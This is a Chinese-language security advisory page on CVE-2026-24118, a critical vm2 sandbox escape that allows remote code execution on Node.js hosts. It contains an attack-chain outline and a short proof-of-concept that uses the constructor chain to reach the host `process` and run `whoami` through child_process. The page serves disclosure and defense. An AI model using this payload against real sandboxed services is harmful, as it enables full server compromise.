IPBUF安全漏洞报告
English
CVE-2026-24118 CVSS 9.8 严重

CVE-2026-24118 vm2沙箱逃逸漏洞(远程代码执行)

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-24118
漏洞类型
沙箱逃逸 / 远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

RCE沙箱逃逸vm2Node.jsCVE-2026-24118严重漏洞

漏洞概述

vm2是一个广泛使用的Node.js安全沙箱库,用于在隔离环境中执行不受信任的代码。在3.11.0版本之前,该组件存在严重的沙箱逃逸漏洞。由于验证机制存在缺陷,攻击者能够通过构造特制的JavaScript代码序列绕过隔离边界。成功利用此漏洞后,攻击者不仅可以逃逸出沙箱环境,还能在宿主机系统上执行任意操作系统命令。鉴于该组件的高普及率及其无需认证即可被利用的特性,该漏洞对服务器安全构成了极高威胁。

技术细节

该漏洞的根源在于vm2沙箱机制未能完全隔离上下文,攻击者可以利用JavaScript语言的特性(如原型链污染或特定的对象引用)来破坏沙箱的完整性。具体而言,攻击者可以通过构造恶意代码,访问或修改沙箱内部不应暴露的宿主对象。利用这种方式,攻击者能够获取对Node.js主进程中`process`对象或`require`函数的引用。一旦获得这些关键引用,攻击者即可绕过沙箱限制,直接调用Node.js的`child_process`模块或其他系统级API,从而在宿主机操作系统上执行任意命令,获取服务器完全控制权。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了存在漏洞的vm2版本(< 3.11.0)。
STEP 2
构造载荷
攻击者编写包含沙箱逃逸逻辑的恶意JavaScript代码,旨在获取宿主系统的进程引用。
STEP 3
提交载荷
攻击者将恶意代码发送至目标应用,诱导应用在vm2沙箱环境中执行该代码。
STEP 4
逃逸执行
载荷成功触发漏洞,绕过沙箱限制,在宿主机系统上执行任意命令(如反弹Shell)。
STEP 5
建立控制
攻击者获得服务器控制权,可能进一步进行横向移动、数据窃取或部署勒索软件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const {VM} = require('vm2'); const vm = new VM(); // Malicious code designed to escape the sandbox // This exploits the logic flaw to access host objects const untrustedCode = ` try { // Attempt to break out using a known technique const error = new Error(); const hostConstructor = error.constructor.constructor; // Retrieve the process object from the host const process = hostConstructor('return process')(); // Execute arbitrary command on the host system process.mainModule.require('child_process').execSync('whoami').toString(); } catch (e) { e.toString(); } `; console.log(vm.run(untrustedCode));

影响范围

vm2 < 3.11.0

防御指南

临时缓解措施
如果无法立即升级,请严格限制对运行vm2服务的网络访问,并确保输入代码经过严格的静态分析和过滤。同时,应监控服务器进程是否存在异常的子进程调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表